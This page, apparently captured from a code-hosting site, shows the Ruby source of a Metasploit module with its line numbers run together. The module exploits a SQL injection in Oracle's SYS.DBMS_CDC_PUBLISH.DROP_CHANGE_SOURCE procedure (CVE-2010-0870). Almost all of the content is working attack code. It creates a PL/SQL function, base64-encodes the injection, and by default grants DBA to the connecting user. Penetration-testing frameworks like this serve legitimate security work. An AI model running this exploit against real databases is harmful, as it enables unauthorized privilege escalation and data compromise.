Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',11'Description' => %q{12The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE13procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege14on the vulnerable package can exploit this vulnerability. By default, users granted15EXECUTE_CATALOG_ROLE have the required privilege.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2010-0870' ],22[ 'OSVDB', '63772'],23[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ]24],25'DisclosureDate' => '2010-04-26'))2627register_options(28[29OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),30])31end3233def run34return if not check_dependencies3536name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)37var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)38var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)3940function = "41CREATE OR REPLACE FUNCTION #{name}42RETURN VARCHAR2 AUTHID CURRENT_USER43IS44PRAGMA AUTONOMOUS_TRANSACTION;45BEGIN46EXECUTE IMMEDIATE '#{datastore['SQL']}';47COMMIT;48RETURN NULL;49END;50"5152package = "53BEGIN54SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE('''||'||user||'.#{name}||''');55END;56"5758uno = Rex::Text.encode_base64(function)59dos = Rex::Text.encode_base64(package)6061encoded_sql = %Q|62DECLARE63#{var1} VARCHAR2(32767);64#{var2} VARCHAR2(32767);65BEGIN66#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));67EXECUTE IMMEDIATE #{var1};68#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));69EXECUTE IMMEDIATE #{var2};70END;71|7273print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...")74prepare_exec(encoded_sql)75print_status("Done...")7677end78end798081